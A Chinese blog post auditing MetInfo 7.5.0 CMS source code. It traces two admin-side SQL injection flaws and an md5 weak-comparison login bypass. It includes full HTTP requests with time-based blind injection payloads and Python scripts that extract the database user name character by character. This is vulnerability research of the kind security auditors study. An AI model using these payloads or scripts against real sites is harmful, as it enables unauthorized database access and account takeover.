美文网首页kali收藏
网络安全审计之CMS代码审计

网络安全审计之CMS代码审计

作者: 顶风作案7号 | 来源:发表于2021-12-29 16:13 被阅读0次

0x00:环境说明

Windows 10
Phpstuby
Php版本:7.2.9
CMS版本:MetInfo7.5.0

0x01:目录结构

|-- about
|-- about1
|-- admin
|-- app
|-- cache
|-- case
|-- config
|-- download
|-- favicon.ico
|-- feedback
|-- hits
|-- img
|-- include
|-- index.php
|-- install
|-- job
|-- member
|-- message
|-- news
|-- online
|-- product
|-- public
|-- robots.txt
|-- search
|-- sitemap
|-- tags
|-- templates
|-- upload

0x02:开始审计

注意:以下漏洞均已被CNVD收录

【一>所有资源获取<一】
1、200份很多已经买不到的绝版电子书
2、30G安全大厂内部的视频资料
3、100份src文档
4、常见安全面试题
5、ctf大赛经典题目解析
6、全套工具包
7、应急响应笔记
8、网络安全学习路线

SQL注入

CMS的安装就略过了,该项目的控制器目录是app,直接从app目录下的文件开始审。
在文件 app\system\user\admin\parameter.class.php 下的 doDelParas 函数,表单的 id 被传递给了 delete_para_value 方法,跟进该方法。

image.png

在文件 app/system/parameter/include/class/parameter_database.class.php 的 delete_para_value 函数可以看到传入的 id 被直接拼接到sql语句中,继续跟进到 DB::query($query)。

image.png

在文件 app/system/include/class/mysql.class.php 的 query 函数下,sql 语句被传递给了 self::link->query 方法,跟进变量link 可以看到已经是 mysql对象了。

image.png image.png

使用 burpsute 进行注入攻击,注意需要管理员权限,payload:

POST /admin/?n=user&c=parameter&a=doDelParas HTTP/1.1
Host: cms.cn
Content-Length: 60
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://cms.cn
Referer: http://cms.cn/admin/
Connection: close
Cookie: met_auth=30ac30fgvWFY3ebf9Wgl9S6LFFBIEwlZoWl066q%2BAr%2F9CD%2Fnti7wlX15n%2BjRmGRQ0hWO6eLPsy%2BtIrVwAPyek9gY48B4; met_key=KQiciI7;

id[]=164+and+if((select substr(version(),1,1))>0,sleep(1),0)

测试结果如下,成功触发基于时间的布尔盲注延时2秒,id 164是当前表默认存在的。(原谅我的厚码,大家知道就好)

编写python脚本跑出用户名

import requests

url = "http://cms.cn/admin/?n=user&c=parameter&a=doDelParas"
headers = {"Cookie": "met_auth=30ac30fgvWFY3ebf9Wgl9S6LFFBIEwlZoWl066q%2BAr%2F9CD%2Fnti7wlX15n%2BjRmGRQ0hWO6eLPsy%2BtIrVwAPyek9gY48B4; met_key=KQiciI7;",
           "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}
proxies = {"http": None}
req = requests.session()
result = ''
for mid in range(15):
    for i in range(30, 150):
        data = "id[]=164+and+if((select ascii(substr(user(),%d,1)))=%d,sleep(1),0)" % (mid, i)
        resp = req.post(url, data=data, headers=headers, proxies=proxies)
        if resp.elapsed.total_seconds() > 1.5:
            result += chr(i)
            print(result)
image.png

SQL注入

在文件 app\system\parameter\admin\parameter_admin.class.php 的 doparasave 函数下跟进 table_para 方法,table_para 方法接收了两个表单参数,_M[‘form’] 接收表单的所有键值对,_M[‘form’][‘module’] 接收表单的module参数。

image.png

在table_para 函数,需要构造表单的内容使数据能传入到update_para_list或insert_para_list方法,这两个方法都可以触发sql注入,这里我选择使用insert_para_list来触发。

image.png

跟进到insert_para_list方法,field[‘options’]的数据需要是json格式,options的一个值需要是数组,使foreach之后option是数组,然后module的数据就赋值给$option[‘module’]。

image.png

进入 app\system\parameter\include\class\parameter_database.class.php 文件的add_para_value方法,可以看到 $option[‘module’] 被直接拼接到sql语句并且没有使用单引号,这里就导致了sql注入。

image.png

捋一下思路,我们需要构造 _M[‘form’] 表单让方法能正常调用以下流程 doparasave -> table_para -> insert_para_list -> add_para_value 而_M[‘form’][‘module’] 表单则构造sql语句。

使用 burpsute 进行注入攻击,注意需要管理员权限,payload:

POST /admin/?n=parameter&c=parameter_admin&a=doparasave HTTP/1.1
Host: cms.cn
Content-Length: 126
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://cms.cn
Referer: http://cms.cn/admin/
Connection: close
Cookie: met_auth=30ac30fgvWFY3ebf9Wgl9S6LFFBIEwlZoWl066q%2BAr%2F9CD%2Fnti7wlX15n%2BjRmGRQ0hWO6eLPsy%2BtIrVwAPyek9gY48B4; met_key=KQiciI7;

allid=a&submit_type=save&type-a=6&options-a={"0":{"0":"0"}}&module=-1 or if((select ascii(mid(user(),1,1)))>1,sleep(0.03),0)

测试结果如下,成功触发基于时间的布尔盲注延时差不多1秒。

image.png

python脚本:

import requests

url = "http://cms.cn/admin/?n=parameter&c=parameter_admin&a=doparasave"
headers = {"Cookie": "met_auth=30ac30fgvWFY3ebf9Wgl9S6LFFBIEwlZoWl066q%2BAr%2F9CD%2Fnti7wlX15n%2BjRmGRQ0hWO6eLPsy%2BtIrVwAPyek9gY48B4; met_key=KQiciI7;",
           "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}
proxies = {"http": None}
req = requests.session()
result = ''

for mid in range(15):
    for i in range(30, 150):
        data = "allid=a&submit_type=save&type-a=6&options-a={\"0\":{\"0\":\"0\"}}&module=-1 or if((select ascii(mid(user(),%d,1)))=%d,sleep(0.03),1)" % (mid, i)
        resp = req.post(url, data=data, headers=headers, proxies=proxies)
        if resp.elapsed.total_seconds() > 0.8:
            result += chr(i)
            print(result)

md5弱类型比较

在文件 app/system/user/web/login.class.php 的 dologin函数下,$this->login 方法接收了表单的username与password,跟进该方法。

image.png

在login函数中继续跟进到 $this->userclass->login_by_password 方法。

image.png

在文件 app/system/include/class/user.class.php 的 login_by_password 函数中 user 从方法this->get_user_by_username(username); 获取了数据库查询的会员数据。表单的password被进行了md5加密,然后与user[‘password’] 进行了比较,由于使用了两个等于号,所以存在md5弱类型比较漏洞。(经常打ctf的应该都知道)

image.png

漏洞复现

首先注册一个账号 abab,密码设置为md5加密后为0e开头的字符串。

image.png

登录时使用md5加密后为0e开头的字符串即可。

image.png

结语

可以发现大部分是后台的漏洞,前台防的比较紧,不过这些漏洞CNVD都是收录的。

相关文章

  • 网络安全审计之CMS代码审计

    0x00:环境说明 Windows 10PhpstubyPhp版本:7.2.9CMS版本:MetInfo7.5.0...

  • [代码审计] XIAO CMS审计

    XIAO CMS审计 翻安全客的时候看到xiao cms爆了6个cve审计一下 任意目录删除 上传任意文件 很明显...

  • PHP-Audit-Labs审计学习

    打算在代码审计上入下坑。本来找了个不知名cms想审计一下的。偶然间看到了星盟王叹之师傅在用php-audit-la...

  • 基于MVC架构的PHP代审——wuzhicms v4.1.0

    前言: 目前也有几个小众cms的代审经验了,打算尝试对基于MVC架构的PHP项目代码进行审计,争取从审计新手转变成...

  • 代码审计思路之PHP代码审计

    00×0 前言 最近也是边挖src边审计代码,总结下最近的php代码审计的一些思路,我一般按照顺序往下做,限于能力...

  • CREDITS代码审计

    由审计经验丰富和网络安全方面专家的Red4Sec公司对CREDITS平台的共识和传输代码进行独立审计。 Red4S...

  • 【代码审计】PHP代码审计

    1. 概述 代码审核,是对应用程序源代码进行系统性检查的工作。它的目的是为了找到并且修复应用程序在开发阶段存在的一...

  • 铁人下载CMS代码审计

    简介 初学java代码审计,跟着大佬的审计方案,走一遍审计流程,这个系统没有使用java框架,作为入门不错。主要作...

  • MetInfo CMS 5.1.4 变量覆盖漏洞挖掘

    从官网上下载好MetInfo 5.1.4CMS版本漏洞,安装后进行代码审计 漏洞位置:D:\phpStudy\WW...

  • 熊海CMS审计

    环境准备 熊海cms的代码直接搜索一下就能下载到,本次实验的环境使用的mac+XAMPP,先总结下审计这套CMS发...

网友评论

    本文标题:网络安全审计之CMS代码审计

    本文链接:https://www.haomeiwen.com/subject/alivqrtx.html